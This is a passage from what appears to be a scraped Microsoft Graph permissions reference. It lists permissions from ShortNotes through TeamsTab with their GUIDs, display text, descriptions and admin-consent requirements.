    DisplayText-Read, create, edit, and delete short notes of the signed-in user
    Description-Allows the app to read, create, edit, and delete short notes of a signed-in user.
    AdminConsentRequired-No
    -

    personal Microsoft accounts The ShortNotes.ReadWrite delegated permission is available for consent in personal Microsoft accounts.

    -
    -

    ShortNotes.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier842c284c-763d-4a97-838d-79787d129bab-
    DisplayTextRead, create, edit, and delete all users' short notes-
    DescriptionAllows the app to read, create, edit, and delete all the short notes without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    Sites.FullControl.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifiera82116e5-55eb-4c41-a434-62fe8a61c7735a54b8b3-347c-476d-8f8e-42d5c7424d29
    DisplayTextHave full control of all site collectionsHave full control of all site collections
    DescriptionAllows the app to have full control of all site collections without a signed in user.Allows the application to have full control of all site collections on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -

    personal Microsoft accounts The Sites.FullControl.All delegated permission is available for consent in personal Microsoft accounts.

    -
    -

    Sites.Manage.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier0c0bf378-bf22-4481-8f81-9e89a9b4960a65e50fdc-43b7-4915-933e-e8138f11f40a
    DisplayTextCreate, edit, and delete items and lists in all site collectionsCreate, edit, and delete items and lists in all site collections
    DescriptionAllows the app to create or delete document libraries and lists in all site collections without a signed in user.Allows the application to create or delete document libraries and lists in all site collections on behalf of the signed-in user.
    AdminConsentRequiredYesNo
    -
    -

    Sites.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier332a536c-c7ef-4017-ab91-336970924f0d205e70e5-aba6-4c52-a976-6d2d46c48043
    DisplayTextRead items in all site collectionsRead items in all site collections
    DescriptionAllows the app to read documents and list items in all site collections without a signed in user.Allows the application to read documents and list items in all site collections on behalf of the signed-in user
    AdminConsentRequiredYesNo
    -

    personal Microsoft accounts The Sites.Read.All delegated permission is available for consent in personal Microsoft accounts.

    -
    -

    Sites.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier9492366f-7969-46a4-8d15-ed1a20078fff89fe6a52-be36-487e-b7d8-d061c450a026
    DisplayTextRead and write items in all site collectionsEdit or delete items in all site collections
    DescriptionAllows the app to create, read, update, and delete documents and list items in all site collections without a signed in user.Allows the application to edit or delete documents and list items in all site collections on behalf of the signed-in user.
    AdminConsentRequiredYesNo
    -

    personal Microsoft accounts The Sites.ReadWrite.All delegated permission is available for consent in personal Microsoft accounts.

    -
    -

    Sites.Selected

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier883ea226-0bf2-4a8f-9f9d-92c9162a727df89c84ef-20d0-4b54-87e9-02e856d66d53
    DisplayTextAccess selected site collectionsAccess selected Sites, on behalf of the signed-in user
    DescriptionAllow the application to access a subset of site collections without a signed in user.  The specific site collections and the permissions granted will be configured in SharePoint Online.Allow the application to access a subset of site collections on behalf of the signed-in user. The specific site collections and the permissions granted will be configured in SharePoint Online.
    AdminConsentRequiredYesNo
    -
    -

    SMTP.Send

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-258f6531-6087-4cc4-bb90-092c5fb3ed3f
    DisplayText-Send emails from mailboxes using SMTP AUTH.
    Description-Allows the app to be able to send emails from the user's mailbox using the SMTP AUTH client submission protocol.
    AdminConsentRequired-No
    -

    personal Microsoft accounts The SMTP.Send delegated permission is available for consent in personal Microsoft accounts.

    -
    -

    SpiffeTrustDomain.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierdcdfc277-41fd-4d68-ad0c-c3057235bd8e9b4aa4b1-aaf3-41b7-b743-698b27e77ff6
    DisplayTextRead SPIFFE trust domains and child resourcesRead SPIFFE trust domains and child resources
    DescriptionAllows the app to read your organization's SPIFFE trust domains and child resources without a signed in user.Allows the app to read your organization's SPIFFE trust domains and child resources on behalf of the user.
    AdminConsentRequiredYesYes
    -
    -

    SpiffeTrustDomain.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier17b78cfd-eeff-447d-8bab-2795af00055a8ba47079-8c47-4bfe-b2ce-13f28ef37247
    DisplayTextRead and write SPIFFE trust domains and child resourcesRead and write SPIFFE trust domains and child resources
    DescriptionAllows the app to read and write your organization's SPIFFE trust domains and child resources without a signed in user.Allows the app to read and write your organization's SPIFFE trust domains and child resources on behalf of the user.
    AdminConsentRequiredYesYes
    -
    -

    SubjectRightsRequest.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifieree1460f0-368b-4153-870a-4e1ca7e72c429c3af74c-fd0f-4db4-b17a-71939e2a9d77
    DisplayTextRead all subject rights requestsRead subject rights requests
    DescriptionAllows the app to read subject rights requests without a signed-in user.Allows the app to read subject rights requests on behalf of the signed-in user
    AdminConsentRequiredYesYes
    -
    -

    SubjectRightsRequest.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier8387eaa4-1a3c-41f5-b261-f888138e60412b8fcc74-bce1-4ae3-a0e8-60c53739299d
    DisplayTextRead and write all subject rights requestsRead and write subject rights requests
    DescriptionAllows the app to read and write subject rights requests without a signed in user.Allows the app to read and write subject rights requests on behalf of the signed-in user
    AdminConsentRequiredYesYes
    -
    -

    Subscription.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-5f88184c-80bb-4d52-9ff2-757288b2e9b7
    DisplayText-Read all webhook subscriptions
    Description-Allows the app to read all webhook subscriptions on behalf of the signed-in user.
    AdminConsentRequired-Yes
    -
    -

    Synchronization.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier5ba43d2f-fa88-4db2-bd1c-a67c5f0fb1ce7aa02aeb-824f-4fbe-a3f7-611f751f5b55
    DisplayTextRead all Azure AD synchronization data.Read all Azure AD synchronization data
    DescriptionAllows the application to read Azure AD synchronization information, without a signed-in user.Allows the app to read Azure AD synchronization information, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    Synchronization.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier9b50c33d-700f-43b1-b2eb-87e89b7035817bb27fa3-ea8f-4d67-a916-87715b6188bd
    DisplayTextRead and write all Azure AD synchronization data.Read and write all Azure AD synchronization data
    DescriptionAllows the application to configure the Azure AD synchronization service, without a signed-in user.Allows the app to configure the Azure AD synchronization service, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    SynchronizationData-User.Upload

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierdb31e92a-b9ea-4d87-bf6a-75a37a9ca35a1a2e7420-4e92-4d2b-94cb-fb2952e9ddf7
    DisplayTextUpload user data to the identity synchronization serviceUpload user data to the identity synchronization service
    DescriptionAllows the application to upload bulk user data to the identity synchronization service, without a signed-in user.Allows the app to upload bulk user data to the identity synchronization service, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    Tasks.Read

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-f45671fb-e0fe-4b4b-be20-3d3ce43f1bcb
    DisplayText-Read user's tasks and task lists
    Description-Allows the app to read the signed-in user's tasks and task lists, including any shared with the user. Doesn't include permission to create, delete, or update anything.
    AdminConsentRequired-No
    -

    personal Microsoft accounts The Tasks.Read delegated permission is available for consent in personal Microsoft accounts.

    -
    -

    Tasks.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierf10e1f91-74ed-437f-a6fd-d6ae88e26c1f-
    DisplayTextRead all users' tasks and tasklist-
    DescriptionAllows the app to read all users' tasks and task lists in your organization, without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    Tasks.Read.Shared

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-88d21fd4-8e5a-4c32-b5e2-4a1c95f34f72
    DisplayText-Read user and shared tasks
    Description-Allows the app to read tasks a user has permissions to access, including their own and shared tasks.
    AdminConsentRequired-No
    -
    -

    Tasks.ReadWrite

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-2219042f-cab5-40cc-b0d2-16b1540b4c5f
    DisplayText-Create, read, update, and delete user's tasks and task lists
    Description-Allows the app to create, read, update, and delete the signed-in user's tasks and task lists, including any shared with the user.
    AdminConsentRequired-No
    -

    personal Microsoft accounts The Tasks.ReadWrite delegated permission is available for consent in personal Microsoft accounts.

    -
    -

    Tasks.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier44e666d1-d276-445b-a5fc-8815eeb81d55-
    DisplayTextRead and write all users' tasks and tasklists-
    DescriptionAllows the app to create, read, update and delete all users' tasks and task lists in your organization, without a signed-in user-
    AdminConsentRequiredYes-
    -
    -

    Tasks.ReadWrite.Shared

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-c5ddf11b-c114-4886-8558-8a4e557cd52b
    DisplayText-Read and write user and shared tasks
    Description-Allows the app to create, read, update, and delete tasks a user has permissions to, including their own and shared tasks.
    AdminConsentRequired-No
    -
    -

    Team.Create

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier23fc2474-f741-46ce-8465-674744c5c3617825d5d6-6049-4ce7-bdf6-3b8d53f4bcd0
    DisplayTextCreate teamsCreate teams
    DescriptionAllows the app to create teams without a signed-in user. Allows the app to create teams on behalf of the signed-in user.
    AdminConsentRequiredYesNo
    -
    -

    Team.ReadBasic.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier2280dda6-0bfd-44ee-a2f4-cb867cfc4c1e485be79e-c497-4b35-9400-0e3fa7f2a5d4
    DisplayTextGet a list of all teamsRead the names and descriptions of teams
    DescriptionGet a list of all teams, without a signed-in user.Read the names and descriptions of teams, on behalf of the signed-in user.
    AdminConsentRequiredYesNo
    -
    -

    TeamMember.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier660b7406-55f1-41ca-a0ed-0b035e182f3e2497278c-d82d-46a2-b1ce-39d4cdde5570
    DisplayTextRead the members of all teamsRead the members of teams
    DescriptionRead the members of all teams, without a signed-in user.Read the members of teams, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    TeamMember.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier0121dc95-1b9f-4aed-8bac-58c5ac4666914a06efd2-f825-4e34-813e-82a57b03d1ee
    DisplayTextAdd and remove members from all teamsAdd and remove members from teams
    DescriptionAdd and remove members from all teams, without a signed-in user. Also allows changing a team member's role, for example from owner to non-owner.Add and remove members from teams, on behalf of the signed-in user. Also allows changing a member's role, for example from owner to non-owner.
    AdminConsentRequiredYesYes
    -
    -

    TeamMember.ReadWriteNonOwnerRole.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier4437522e-9a86-4a41-a7da-e380edd4a97d2104a4db-3a2f-4ea0-9dba-143d457dc666
    DisplayTextAdd and remove members with non-owner role for all teamsAdd and remove members with non-owner role for all teams
    DescriptionAdd and remove members from all teams, without a signed-in user. Does not allow adding or removing a member with the owner role. Additionally, does not allow the app to elevate an existing member to the owner role.Add and remove members from all teams, on behalf of the signed-in user. Does not allow adding or removing a member with the owner role. Additionally, does not allow the app to elevate an existing member to the owner role.
    AdminConsentRequiredYesYes
    -
    -

    TeamsActivity.Read

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-0e755559-83fb-4b44-91d0-4cc721b9323e
    DisplayText-Read user's teamwork activity feed
    Description-Allows the app to read the signed-in user's teamwork activity feed.
    AdminConsentRequired-No
    -
    -

    TeamsActivity.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier70dec828-f620-4914-aa83-a29117306807-
    DisplayTextRead all users' teamwork activity feed-
    DescriptionAllows the app to read all users' teamwork activity feed, without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    TeamsActivity.Send

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifiera267235f-af13-44dc-8385-c1dc930231867ab1d787-bae7-4d5d-8db6-37ea32df9186
    DisplayTextSend a teamwork activity to any userSend a teamwork activity as the user
    DescriptionAllows the app to create new notifications in users' teamwork activity feeds without a signed in user. These notifications may not be discoverable or be held or governed by compliance policies.Allows the app to create new notifications in users' teamwork activity feeds on behalf of the signed in user. These notifications may not be discoverable or be held or governed by compliance policies.
    AdminConsentRequiredYesNo
    -
    -

    TeamsAppInstallation.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier0fdf35a5-82f8-41ff-9ded-0b761cc73512-
    DisplayTextRead installed Teams apps for all installation scopes-
    DescriptionAllows the app to read the Teams apps that are installed in any scope, without a signed-in user. Does not give the ability to read application-specific settings.-
    AdminConsentRequiredYes-
    -
    -

    TeamsAppInstallation.ReadForChat

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-bf3fbf03-f35f-4e93-963e-47e4d874c37a
    DisplayText-Read installed Teams apps in chats
    Description-Allows the app to read the Teams apps that are installed in chats the signed-in user can access. Does not give the ability to read application-specific settings.
    AdminConsentRequired-No
    -
    -

    TeamsAppInstallation.ReadForChat.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifiercc7e7635-2586-41d6-adaa-a8d3bcad5ee5-
    DisplayTextRead installed Teams apps for all chats-
    DescriptionAllows the app to read the Teams apps that are installed in any chat, without a signed-in user. Does not give the ability to read application-specific settings.-
    AdminConsentRequiredYes-
    -
    -

    TeamsAppInstallation.ReadForTeam

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-5248dcb1-f83b-4ec3-9f4d-a4428a961a72
    DisplayText-Read installed Teams apps in teams
    Description-Allows the app to read the Teams apps that are installed in teams the signed-in user can access. Does not give the ability to read application-specific settings.
    AdminConsentRequired-Yes
    -
    -

    TeamsAppInstallation.ReadForTeam.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier1f615aea-6bf9-4b05-84bd-46388e138537-
    DisplayTextRead installed Teams apps for all teams-
    DescriptionAllows the app to read the Teams apps that are installed in any team, without a signed-in user. Does not give the ability to read application-specific settings.-
    AdminConsentRequiredYes-
    -
    -

    TeamsAppInstallation.ReadForUser

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-c395395c-ff9a-4dba-bc1f-8372ba9dca84
    DisplayText-Read user's installed Teams apps
    Description-Allows the app to read the Teams apps that are installed for the signed-in user. Does not give the ability to read application-specific settings.
    AdminConsentRequired-No
    -
    -

    TeamsAppInstallation.ReadForUser.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier9ce09611-f4f7-4abd-a629-a05450422a97-
    DisplayTextRead installed Teams apps for all users-
    DescriptionAllows the app to read the Teams apps that are installed for any user, without a signed-in user. Does not give the ability to read application-specific settings.-
    AdminConsentRequiredYes-
    -
    -

    TeamsAppInstallation.ReadWriteAndConsentForChat

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-e1408a66-8f82-451b-a2f3-3c3e38f7413f
    DisplayText-Manage installed Teams apps in chats
    Description-Allows the app to read, install, upgrade, and uninstall Teams apps in chats the signed-in user can access. Gives the ability to manage permission grants for accessing those specific chats' data.
    AdminConsentRequired-Yes
    -
    -

    TeamsAppInstallation.ReadWriteAndConsentForChat.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier6e74eff9-4a21-45d6-bc03-3a20f61f8281-
    DisplayTextManage installation and permission grants of Teams apps for all chats-
    DescriptionAllows the app to read, install, upgrade, and uninstall Teams apps in any chat, without a signed-in user. Gives the ability to manage permission grants for accessing those specific chats' data.-
    AdminConsentRequiredYes-
    -
    -

    TeamsAppInstallation.ReadWriteAndConsentForTeam

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-946349d5-2a9d-4535-abc0-7beeacaedd1d
    DisplayText-Manage installed Teams apps in teams
    Description-Allows the app to read, install, upgrade, and uninstall Teams apps in teams the signed-in user can access. Gives the ability to manage permission grants for accessing those specific teams' data.
    AdminConsentRequired-Yes
    -
    -

    TeamsAppInstallation.ReadWriteAndConsentForTeam.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierb0c13be0-8e20-4bc5-8c55-963c23a39ce9-
    DisplayTextManage installation and permission grants of Teams apps for all teams-
    DescriptionAllows the app to read, install, upgrade, and uninstall Teams apps in any team, without a signed-in user. Gives the ability to manage permission grants for accessing those specific teams' data.-
    AdminConsentRequiredYes-
    -
    -

    TeamsAppInstallation.ReadWriteAndConsentForUser

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-2da62c49-dfbd-40df-ba16-fef3529d391c
    DisplayText-Manage installation and permission grants of Teams apps in users' personal scope
    Description-Allows the app to read, install, upgrade, and uninstall Teams apps in user accounts, on behalf of the signed-in user. Gives the ability to manage permission grants for accessing those specific users' data.
    AdminConsentRequired-Yes
    -
    -

    TeamsAppInstallation.ReadWriteAndConsentForUser.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier32ca478f-f89e-41d0-aaf8-101deb7da510-
    DisplayTextManage installation and permission grants of Teams apps in a user account-
    DescriptionAllows the app to read, install, upgrade, and uninstall Teams apps in any user account, without a signed-in user. Gives the ability to manage permission grants for accessing those specific users' data.-
    AdminConsentRequiredYes-
    -
    -

    TeamsAppInstallation.ReadWriteAndConsentSelfForChat

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-a0e0e18b-8fb2-458f-8130-da2d7cab9c75
    DisplayText-Allow the Teams app to manage itself and its permission grants in chats
    Description-Allows a Teams app to read, install, upgrade, and uninstall itself in chats the signed-in user can access, and manage its permission grants for accessing those specific chats' data.
    AdminConsentRequired-Yes
    -
    -

    TeamsAppInstallation.ReadWriteAndConsentSelfForChat.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierba1ba90b-2d8f-487e-9f16-80728d85bb5c-
    DisplayTextAllow the Teams app to manage itself and its permission grants for all chats-
    DescriptionAllows a Teams app to read, install, upgrade, and uninstall itself for any chat, without a signed-in user, and manage its permission grants for accessing those specific chats' data.-
    AdminConsentRequiredYes-
    -
    -

    TeamsAppInstallation.ReadWriteAndConsentSelfForTeam

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-4a6bbf29-a0e1-4a4d-a7d1-cef17f772975
    DisplayText-Allow the Teams app to manage itself and its permission grants in teams
    Description-Allows a Teams app to read, install, upgrade, and uninstall itself in teams the signed-in user can access, and manage its permission grants for accessing those specific teams' data.
    AdminConsentRequired-Yes
    -
    -

    TeamsAppInstallation.ReadWriteAndConsentSelfForTeam.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier1e4be56c-312e-42b8-a2c9-009600d732c0-
    DisplayTextAllow the Teams app to manage itself and its permission grants for all teams-
    DescriptionAllows a Teams app to read, install, upgrade, and uninstall itself for any team, without a signed-in user, and manage its permission grants for accessing those specific teams' data.-
    AdminConsentRequiredYes-
    -
    -

    TeamsAppInstallation.ReadWriteAndConsentSelfForUser

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-7a349935-c54d-44ab-ab66-1b460d315be7
    DisplayText-Allow the Teams app to manage itself and its permission grants in user accounts
    Description-Allows a Teams app to read, install, upgrade, and uninstall itself in user accounts, and manage its permission grants for accessing those specific users' data, on behalf of the signed-in user.
    AdminConsentRequired-Yes
    -
    -

    TeamsAppInstallation.ReadWriteAndConsentSelfForUser.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifiera87076cf-6abd-4e56-8559-4dbdf41bef96-
    DisplayTextAllow the Teams app to manage itself and its permission grants in all user accounts-
    DescriptionAllows a Teams app to read, install, upgrade, and uninstall itself for any user account, without a signed-in user, and manage its permission grants for accessing those specific users' data.-
    AdminConsentRequiredYes-
    -
    -

    TeamsAppInstallation.ReadWriteForChat

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-aa85bf13-d771-4d5d-a9e6-bca04ce44edf
    DisplayText-Manage installed Teams apps in chats
    Description-Allows the app to read, install, upgrade, and uninstall Teams apps in chats the signed-in user can access. Does not give the ability to read application-specific settings.
    AdminConsentRequired-Yes
    -
    -

    TeamsAppInstallation.ReadWriteForChat.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier9e19bae1-2623-4c4f-ab6e-2664615ff9a0-
    DisplayTextManage Teams apps for all chats-
    DescriptionAllows the app to read, install, upgrade, and uninstall Teams apps in any chat, without a signed-in user. Does not give the ability to read application-specific settings.-
    AdminConsentRequiredYes-
    -
    -

    TeamsAppInstallation.ReadWriteForTeam

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-2e25a044-2580-450d-8859-42eeb6e996c0
    DisplayText-Manage installed Teams apps in teams
    Description-Allows the app to read, install, upgrade, and uninstall Teams apps in teams the signed-in user can access. Does not give the ability to read application-specific settings.
    AdminConsentRequired-Yes
    -
    -

    TeamsAppInstallation.ReadWriteForTeam.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier5dad17ba-f6cc-4954-a5a2-a0dcc95154f0-
    DisplayTextManage Teams apps for all teams-
    DescriptionAllows the app to read, install, upgrade, and uninstall Teams apps in any team, without a signed-in user. Does not give the ability to read application-specific settings.-
    AdminConsentRequiredYes-
    -
    -

    TeamsAppInstallation.ReadWriteForUser

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-093f8818-d05f-49b8-95bc-9d2a73e9a43c
    DisplayText-Manage user's installed Teams apps
    Description-Allows the app to read, install, upgrade, and uninstall Teams apps installed for the signed-in user. Does not give the ability to read application-specific settings.
    AdminConsentRequired-Yes
    -
    -

    TeamsAppInstallation.ReadWriteForUser.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier74ef0291-ca83-4d02-8c7e-d2391e6a444f-
    DisplayTextManage Teams apps for all users-
    DescriptionAllows the app to read, install, upgrade, and uninstall Teams apps for any user, without a signed-in user. Does not give the ability to read application-specific settings.-
    AdminConsentRequiredYes-
    -
    -

    TeamsAppInstallation.ReadWriteSelfForChat

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-0ce33576-30e8-43b7-99e5-62f8569a4002
    DisplayText-Allow the Teams app to manage itself in chats
    Description-Allows a Teams app to read, install, upgrade, and uninstall itself in chats the signed-in user can access.
    AdminConsentRequired-Yes
    -
    -

    TeamsAppInstallation.ReadWriteSelfForChat.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier73a45059-f39c-4baf-9182-4954ac0e55cf-
    DisplayTextAllow the Teams app to manage itself for all chats-
    DescriptionAllows a Teams app to read, install, upgrade, and uninstall itself for any chat, without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    TeamsAppInstallation.ReadWriteSelfForTeam

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-0f4595f7-64b1-4e13-81bc-11a249df07a9
    DisplayText-Allow the app to manage itself in teams
    Description-Allows a Teams app to read, install, upgrade, and uninstall itself to teams the signed-in user can access.
    AdminConsentRequired-Yes
    -
    -

    TeamsAppInstallation.ReadWriteSelfForTeam.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier9f67436c-5415-4e7f-8ac1-3014a7132630-
    DisplayTextAllow the Teams app to manage itself for all teams-
    DescriptionAllows a Teams app to read, install, upgrade, and uninstall itself in any team, without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    TeamsAppInstallation.ReadWriteSelfForUser

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-207e0cb1-3ce7-4922-b991-5a760c346ebc
    DisplayText-Allow the Teams app to manage itself for a user
    Description-Allows a Teams app to read, install, upgrade, and uninstall itself for the signed-in user.
    AdminConsentRequired-No
    -
    -

    TeamsAppInstallation.ReadWriteSelfForUser.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier908de74d-f8b2-4d6b-a9ed-2a17b3b78179-
    DisplayTextAllow the app to manage itself for all users-
    DescriptionAllows a Teams app to read, install, upgrade, and uninstall itself to any user, without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    TeamSettings.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier242607bd-1d2c-432c-82eb-bdb27baa23ab48638b3c-ad68-4383-8ac4-e6880ee6ca57
    DisplayTextRead all teams' settingsRead teams' settings
    DescriptionRead all team's settings, without a signed-in user.Read all teams' settings, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    TeamSettings.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierbdd80a03-d9bc-451d-b7c4-ce7c63fe3c8f39d65650-9d3e-4223-80db-a335590d027e
    DisplayTextRead and change all teams' settingsRead and change teams' settings
    DescriptionRead and change all teams' settings, without a signed-in user.Read and change all teams' settings, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    TeamsTab.Create

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier49981c42-fd7b-4530-be03-e77b21aed25ea9ff19c2-f369-4a95-9a25-ba9d460efc8e
    DisplayTextCreate tabs in Microsoft Teams.Create tabs in Microsoft Teams.
    DescriptionAllows the app to create tabs in any team in Microsoft Teams, without a signed-in user. This does not grant the ability to read, modify or delete tabs after they are created, or give access to the content inside the tabs.Allows the app to create tabs in any team in Microsoft Teams, on behalf of the signed-in user. This does not grant the ability to read, modify or delete tabs after they are created, or give access to the content inside the tabs.
    AdminConsentRequiredYesYes
    -
    -

    TeamsTab.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier46890524-499a-4bb2-ad64-1476b4f3e1cf59dacb05-e88d-4c13-a684-59f1afc8cc98
    DisplayTextRead tabs in Microsoft Teams.Read tabs in Microsoft Teams.
    DescriptionRead the names and settings of tabs inside any team in Microsoft Teams, without a signed-in user. This does not give access to the content inside the tabs.Read the names and settings of tabs inside any team in Microsoft Teams, on behalf of the signed-in user. This does not give access to the content inside the tabs.
    AdminConsentRequiredYesYes
    -
    -

    TeamsTab.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifiera96d855f-016b-47d7-b51c-1218a98d791cb98bfd41-87c6-45cc-b104-e2de4f0dafb9
    DisplayTextRead and write tabs in Microsoft Teams.Read and write tabs in Microsoft Teams.
    DescriptionRead and write tabs in any team in Microsoft Teams, without a signed-in user. This does not give access to the content inside the tabs.Read and write tabs in any team in Microsoft Teams, on behalf of the signed-in user. This does not give access to the content inside the tabs.
    AdminConsentRequiredYesYes
    -
    -

    TeamsTab.ReadWriteForChat

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-ee928332-e9c2-4747-b4a0-f8c164b68de6
    DisplayText-Allow the Teams app to manage all tabs in chats
    Description-Allows a Teams app to read, install, upgrade, and uninstall all tabs in chats the signed-in user can access.
    AdminConsentRequired-Yes
    -
    -

    TeamsTab.ReadWriteForChat.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierfd9ce730-a250-40dc-bd44-8dc8d20f39ea-
    DisplayTextAllow the Teams app to manage all tabs for all chats-
    DescriptionAllows a Teams app to read, install, upgrade, and uninstall all tabs for any chat, without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

